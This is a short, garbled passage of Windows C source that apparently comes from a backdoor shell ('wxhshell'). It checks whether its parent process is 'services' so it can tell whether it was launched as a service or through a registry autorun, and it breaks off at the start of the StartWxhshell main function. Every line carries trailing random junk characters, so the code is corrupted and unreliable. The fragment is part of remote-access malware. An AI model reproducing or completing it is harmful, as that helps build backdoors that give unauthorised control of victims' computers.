DWORD AffinityMask; }gCHQ;U7`
DWORD BasePriority; POGw`:)A
ULONG UniqueProcessId; fNoR\5}!
ULONG InheritedFromUniqueProcessId; fIyPFqf7w)
} PROCESS_BASIC_INFORMATION; ~@fR[sg<
y8?t-Pp]1
PROCNTQSIP NtQueryInformationProcess; M+ aEma
~B_ D@gV|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +X^4;
&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MY F#A
LK+felL
HANDLE hProcess; WK;(P4Z
PROCESS_BASIC_INFORMATION pbi; )iSy@*nY
\dV Too
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &jm[4'$
*z
if(NULL == hInst ) return 0; ?}sOG?{
o#e7,O
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j'Wp
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }1m_o@{3P
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KXe
ka
O5-;I,)H
if (!NtQueryInformationProcess) return 0; x!?Z*v@I
:_H>SR:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F<r4CHfh;
if(!hProcess) return 0; ;r!\-]5$
0w3b~RJ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,!>fmU`E4
6V;:+"BkJ
CloseHandle(hProcess); :6u~aT/
kF-TG3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :`J>bHE
if(hProcess==NULL) return 0; ORH93`
oT->^4WY
HMODULE hMod; ^saM$e^c:
char procName[255]; \!w h[qEQ\
unsigned long cbNeeded; $l"MXxx5I
vlQ0gsXK
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^<;w+%[MT
Wk[)+\WQ?
CloseHandle(hProcess); P<L&c_u
k7Oy5$##
if(strstr(procName,"services")) return 1; // 以服务启动 Jpx'W
e?<D F.Md+
return 0; // 注册表启动 }17bV, t
} m!Af LSlwm
#!d]PH746
// 主模块 0yTQ{'Cc
int StartWxhshell(LPSTR lpCmdLine) QUp?i
{ (C\r&N